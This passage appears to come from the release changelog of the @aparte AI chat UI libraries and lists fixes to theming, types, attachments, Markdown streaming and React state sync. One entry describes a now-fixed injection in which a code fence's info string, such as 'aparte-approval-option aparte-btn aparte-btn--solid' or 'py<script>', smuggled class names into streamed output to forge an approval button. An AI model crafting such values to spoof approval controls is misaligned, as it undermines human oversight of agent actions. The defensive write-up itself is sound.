[data-aparte-theme="dark"] .aparte-segment-artifact-filewith noprefers-color-schemesibling, so a system-dark reader with no attribute kept the LIGHT wash (rgba(0,0,0,0.04)) on the already-dark--aparte-error-bg. It is duplicated now, the way core’stheme.cssduplicates its dark block for the same reason. And.aparte-art-file__error-titlewas still reading--aparte-error-title, a token core removed with the error renderer’s private classes: invalid at computed-value time, so the heading quietly took the panel’s body ink. It reads--aparte-error-text.Why all three survived: this is the only plugin stylesheet in the repo and it is read by no guard.
check:derived-varsreadscoreStylesheets(), which is the import block ofpackages/core/src/index.ts, so the prefix rule, the single-owner rule, the dead-keyframe rule and “a documented@cssprophas a reader” all stop at core’s edge. A unit suite reading this sheet stands in for now; widening the guard’s corpus is a change to the guard, not to its input — its “a token is read only under its declarer” rule reports 18 false positives here, because the tokens are declared on.aparte-segment-artifact-*and read on descendants named.aparte-art-*, a relationship its BEM heuristic cannot see.@aparte/plugin-artifacts -
f91584f: A light/dark theme pair now follows the OS colour scheme when the page sets no
data-aparte-theme, the way core’s own theme does; nothing to change on your side.The pair’s stylesheet keyed its dark half on
[data-aparte-theme="dark"]alone, so a page in system dark — every page that sets no attribute — rendered the light theme’s white block on a dark bubble. The dark half now also applies underprefers-color-scheme: darkunless the root sayslight, the same three states core answers.@aparte/plugin-shiki -
4a73996: A streamed code fence now gets
class="language-<name>", the same class a one-shot renderer writes — so model text can no longer wear core’s ownaparte-*names while a message streams. Nothing to change in your code.streaming-markdownmaps itsLANGattribute toclassand passes the fence’s info string through verbatim, and the wrapper this package installs filtered onlyhrefandsrc. So three backticks followed byaparte-approval-option aparte-btn aparte-btn--solidpainted a pixel-perfect approval button inside the transcript — the exact forgery core’s sanitizer drops on the one-shot path — and a fence naming aposition: fixedrecipe (.aparte-select-dropdown,.aparte-sidebar__scrim) repainted the page around the chat. It stayed until the message settled, and on the simple-content path it did not go away even then.The class is prefixed rather than filtered, which fixes three things at once: the streamed DOM and the settled DOM now agree (both say
language-…),language-*is the one prefix core’s class policy deliberately exempts, andhighlightMarkdownFencescan finally read a streamed fence’s language. The token is the first word of the info string, truncated at the first character a language name cannot hold —c++andf#survive,py<script>becomespy, and an info string with nothing nameable in it writes no class at all.@aparte/plugin-streaming-markdown -
7802512: A failed model load is retried on the next title instead of disabling auto-titling for the life of the page. Nothing to change on your side.
The model is resolved once and cached, and the cache kept a REJECTED promise: one transient failure — the model fetch, a CSP hiccup on the dynamic import — and every conversation from then on quietly kept its default title.
@aparte/plugin-shikiclears its cached promise on failure for the same reason. The error still reaches the caller; only the caching of it is gone.@aparte/plugin-titler -
19d708d:
clearMessages({ revokeAttachments: false })now reaches the host on all four wrappers, so the attachments in the transcript keep their object URLs. The helpers (useAparteChat,createAparteChat) forward the option too, and React’s exportedUseAparteChattype declares it.The bridge was
clearMessages: () => host?.clearMessages()at seven sites, so an explicit “don’t revoke” arrived asundefinedand the viewport revoked by default — the exact inversion of what the caller asked for, and every image and file chip still on screen came back broken. TypeScript could not see it: a zero-parameter function is assignable to a one-optional-parameter signature, sosatisfies,implementsand Svelte’s_assertImperativeParityall passed. Each wrapper’s suite now asserts it against a spiedURL.revokeObjectURL— the option kept, and the default (revoke) kept too.@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
0e0814e:
provideAparte’s documentation now shows the calls React, Vue and Svelte make instead of it, so its absence in the other three wrappers is not read as a missing feature. Nothing to change in your code: the docblock ships in the published types.The docblock said only that you “can equally call
aparteGlobalConfig.*yourself” — a capability named in passing, with no example, which is the shape a reader skips. It now carries the four calls that replace the provider (register a provider, set the model config, set the locale, setdata-aparte-theme) and says what Angular alone needs it for: an initializer that runs before the first component, and aDestroyRefto release the theme listener it registers. The one option that is not a plain call is named as such:theme: 'auto'is aprefers-color-schemelistener you write and dispose of yourself.The same block, and the trigger that would end the asymmetry — a second wrapper needing that listener with a disposer of its own, at which point
applyThemeModemoves into@aparte/coreand all four call it — are on the Wrapper surface reference page.@aparte/angular -
19d708d: The ergonomics helpers gain the four members they were missing —
getMessages,scrollToBottom,focusInput,getViewport— souseAparteChat(React, Vue) andcreateAparteChat(Svelte) expose the whole imperative surface. On Angular:AparteAiServiceexposesclient(theAparteClientthe other three return as{ client, abort }), two new inputscontainerClass/containerStyleland on the inner.aparte-chat-container, andAparteUiPropsis exported. All four now re-exportAparteUiHandlefrom@aparte/corerather than declaring their own copy.The helper is the documented entry point, and it exposed 17 of the 20 members — silently narrowing the contract at exactly the reads and view acts a consumer reaches for after a send.
getMessages()is not themessagesstate: the host’s list is the authority and, mid-stream, a frame ahead of what the framework has rendered.Angular’s
containerClass/containerStyleare the parity the other three get for free. Their root IS the container, so a consumer’sclassName/classlands on the div carrying.aparte-chat-container,[overlay-composer]and[data-aparte-empty]— the selectors core’s shell recipe keys on. Angular’s own<aparte-chat>host sits one level above them, so overriding the shell needed a descendant selector there and nowhere else.Also on Angular: the bubble-reconcile effect no longer skips an empty list (React, Vue and Svelte all sync unconditionally). With the default bubbles the
#bubblequery hid it by re-syncing on its own; under a custom[bubbleTemplate]that query never fires and the effect was the only path left.@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
7ccfa5c:
AparteChatandAparteUinow ship real, compiler-checked prop, event and slot types — a wrong prop on either component is atsc/svelte-checkerror in your own project, not just a mismatch you’d only catch at runtime.The package always re-exported
./AparteChat.svelte, but noAparteChat.svelte.d.tswas ever emitted next to it, so every import resolved to an untyped component and the props were documentation only. The cause:svelte-package’s own.d.tsemission (svelte2tsx’semitDts) silently emits nothing under this package’s realtsconfig.json, which inheritsnoEmitOnError: truefrom the repo base — that setting blocks emission on diagnostics that are expected noise in svelte2tsx’sdtstransform mode (svelte2tsx’s own diagnostic filter already treats those exact codes as non-fatal). A dedicatedtsconfig.dts.json, passed via--tsconfigand used only for this one step, relaxes it; the package’s realtsc -bbuild is untouched by it. Verified with a standalone consumer project: importing the built package and assigning a wrong-typed prop toAparteChatnow failstsc --noEmit.@aparte/svelte -
43297ea: The emitted
AparteChat.svelte.d.tsimports./types.jswith its extension, so the package’s types compile for a consumer onmoduleResolution: nodenextwithskipLibCheck: false.svelte-packagecopies the component’s<script>imports into the declaration it emits, and that one import was written without an extension while every sibling.tsfile in the package already carried.js. UndernodenextTypeScript reportedTS2835on the shipped file. The realistic Svelte consumer (bundlerresolution,skipLibCheck: true) never saw it; the fix is the import in the component, not a post-process ondist/.@aparte/svelte
Version-only bumps (no changes of their own): @aparte/plugin-approval, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/docs-mcp.
0.17.1
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
8b7ccb4: With
@aparte/plugin-streaming-markdownas your only Markdown renderer, a finished reply now stays rendered when your framework re-renders the chat, instead of turning back into raw Markdown a frame after the turn ends. Nothing to change on your side; the one-shot provider registered as a workaround can go (#89).0.17.0 kept what the incremental parser drew on the settling update, but that update is not the last one a finished message receives. After every render the wrappers reconcile the last message, and for a finished one that sends each text segment
{ content, isStreaming: false }again. The parser was gone by then, so the second settle fell through to core’s escape-and-<br>default. The same happened to a reply streamed as plaincontentrather than segments, throughsetContent.writeStreamedMarkdownnow remembers, per content element, the content it settled on from the parser’s DOM. A later non-streaming update carrying that same content leaves the element alone. Changed content, a one-shot provider registered since, or a new stream into the same element render as before.@aparte/core -
a8776d2:
<aparte-suggestions empty-only>now shows its starters while the conversation is empty, instead of hiding them for good on the first send: they stay hidden over a restored thread and come back after a new chat.<aparte-chat>now reflectsdata-emptywhether or notcenter-emptyis set (#90).If you counted messages to hide or re-show the starters yourself, you can drop that code. If you relied on
aparte-chat[data-empty]only appearing withcenter-empty, add[center-empty]to your selector — core’s own rules already carry it, so no built-in layout moves.empty-onlyused to read the composer’saparte-sendalone. It did not look at the conversation, so a thread loaded throughsetMessages, a wrapper’smessagesor a conversation manager showed the starters on top of its transcript (nothing had been sent yet), and after a new chat cleared the thread they never came back. The row now follows the transcript of the chat it serves — found around its composer, around itself, or bytarget— with the same test<aparte-chat>uses: no<aparte-chat-bubble>, and notloading, so a thread being fetched counts as not empty. The send is kept as the other half. It hides the row on the click rather than a frame later when the bubble lands, and it is all there is to read when the messages are not<aparte-chat-bubble>s (React’srenderBubble) or when the composer sits outside any chat. In both of those cases the row behaves exactly as before. The element lifts only ahiddenit set itself, and removingempty-onlyshows the row again.data-emptyon<aparte-chat>was a by-product ofcenter-empty, so the chat’s one statement of “this conversation is empty” was only available to apps that also wanted a centred composer. It now follows the conversation on every<aparte-chat>, including Angular’sframework-managedhost once its viewport renders. React, Vue and Svelte render a[data-aparte-chat]div rather than the element and are unchanged.@aparte/core -
a3350fc: The README says beta where it said alpha: the package installs with
@aparte/core@beta, and its declared surface is frozen as of 0.17.0. No code change.@aparte/core -
1f7107f: New:
aparteGlobalConfig.registerToolSummary(toolName, (segment) => string)shows what a call targets after the tool’s name in the default row —read_file skills.jsoninstead ofread_file— and keeps the row’s states, spinner and disclosure (#91).Until now the only way to add that line was
registerToolRenderer, which replaces the whole row: its six states, the spinner, the disclosure and the relabel contract, re-implemented and kept in step with core for one line of text. The summary is keyed by the tool’s name, like a renderer, so a display-only chat that registers noAparteToolgets it too.The text is written as text, never parsed as HTML;
''shows nothing, and a summary that throws shows nothing rather than breaking the row. It is read again on every update of the call, so it follows arguments that are still arriving, and on a config change, so one registered after a row is on screen reaches it. A tool with its own renderer draws its own row and its summary is not read.unregisterToolSummaryandgetToolSummarycomplete the pair,reset()clears them, and theAparteToolSummarytype is exported. The new.aparte-tool-targetelement is muted, in the code font, and cut with an ellipsis, so a long path gives way before the state word does.@aparte/core
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/plugin-titler, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.17.2
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
2e4f9ee: With
@aparte/plugin-streaming-markdownas your only Markdown renderer, a reply that arrives complete — a conversation restored after a reload, a non-streaming provider’s answer — now renders as Markdown instead of its raw source. Nothing to change on your side; a one-shot provider registered as a workaround can go (#93).The plugin rendered a reply while it streamed, and a reply that never streamed went through
renderMarkdown, which knew only the one-shot provider and fell back to core’s escape-and-<br>default. So the same text rendered two ways depending on how it arrived, and the plugin page’s “that is all you need” held for half of them.renderMarkdownnow runs a complete string through the incremental provider when no one-shot provider is registered — into a detached element, then through the sanitizer, the same two steps a streamed reply takes. A registered one-shot provider still takes precedence, a server render with nodocumentstill gets the escaping default, and a provider that throws on the whole string falls back to it too.@aparte/core,@aparte/plugin-streaming-markdown -
7513253: The README follows
@aparte/titler1.2: a single-language model file is 41 KB. No code change — the plugin accepts any titler, and 1.2 keeps the sametitle(message, budget?)API.@aparte/plugin-titler
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.17.3 Latest
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
@aparte/engine@0.17.3
@aparte/core -
5ec1e8a: Fixed: in controlled mode (
messageswithonMessagesChange), a finished reply could roll back to an earlier state — its text cut mid-word, its tool rows gone. It happened when the parent re-rendered late, which React does in Safari.The chat emits its list as it streams, the parent stores it, and the prop comes back. When the parent’s render lands after the chat’s next write, the prop that arrives is an EARLIER emit, and the wrapper took it for the parent’s word: it rolled the list back, the chat built its next writes on the stale copy, and the reply stayed broken. Measured in the examples’ browser suite at about one run in five on React + WebKit. The wrappers now recognise their own emits when they come back — current or stale — and ignore them; a list the parent builds itself is still applied. Angular is unaffected: its list is one
model()signal both sides write in step.@aparte/react,@aparte/svelte,@aparte/vue
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/plugin-titler, @aparte/angular, @aparte/locale-fr, @aparte/docs-mcp.